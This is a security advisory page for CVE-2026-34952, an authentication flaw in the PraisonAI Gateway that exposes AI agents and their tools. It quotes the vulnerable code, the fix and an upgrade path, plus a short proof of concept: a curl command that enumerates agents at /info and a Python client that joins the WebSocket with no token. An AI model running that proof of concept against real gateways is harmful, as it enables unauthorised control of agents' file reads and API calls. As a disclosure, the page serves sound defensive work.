PRAISONAI · CVE-2026-34952 · AI agents & MCP
FIX → 4.5.97
The PraisonAI Gateway accepts WebSocket connections at `/ws` and lists agent IDs at `/info` with no authentication. Any network client can enumerate agents and send them messages that reach their tools, including file reads and API calls.
first public Mar 31, 2026 · 2 sources
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Teams running the PraisonAI Gateway server, which serves /ws and /info, are exposed. The advisory notes that GatewayConfig has an auth_token field that the handler never checks, so setting it does not block access on affected versions. Teams that only use PraisonAI as a local library without starting the gateway can skip it.
Not affected if gateway-not-running, no-network-exposure
Who cares ai-agents, praisonai, python, websocket-gateway
pip show praisonai and compare the version with 4.5.97.The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.
gateway/server.py:242 (source) -> gateway/server.py:250 (sink)
# source -- /info leaks all agent IDs with no auth
async def info(request):
return JSONResponse({
"agents": list(self._agents.keys()),
"sessions": len(self._sessions),
"clients": len(self._clients),
})
# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint():
websocket.accept()
client_id = (uuid.uuid4())
._clients[client_id] = websocket
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
WebSocketGateway or praisonai.gateway in your startup code./info on the gateway host; an unauthenticated JSON response listing agents means it is exposed.Upgrade to 4.5.97
praisonai to 4.5.97 or later (fixed version in the product data).# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &
# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}
# Step 2 - connect to WebSocket, no token
python3 -c "
import asyncio, websockets, json
async def run():
async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
print('Connected with no auth')
await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
# {"type": ...} -- server responds, connection accepted
Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.
async def websocket_endpoint(websocket: WebSocket):
token = websocket.query_params.get("token") or \
websocket.headers.get("Authorization", "").removeprefix("Bearer ")
if self._config.auth_token and token != self._config.auth_token:
await websocket.close(code=4001, reason="Unauthorized")
return
await websocket.accept()
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.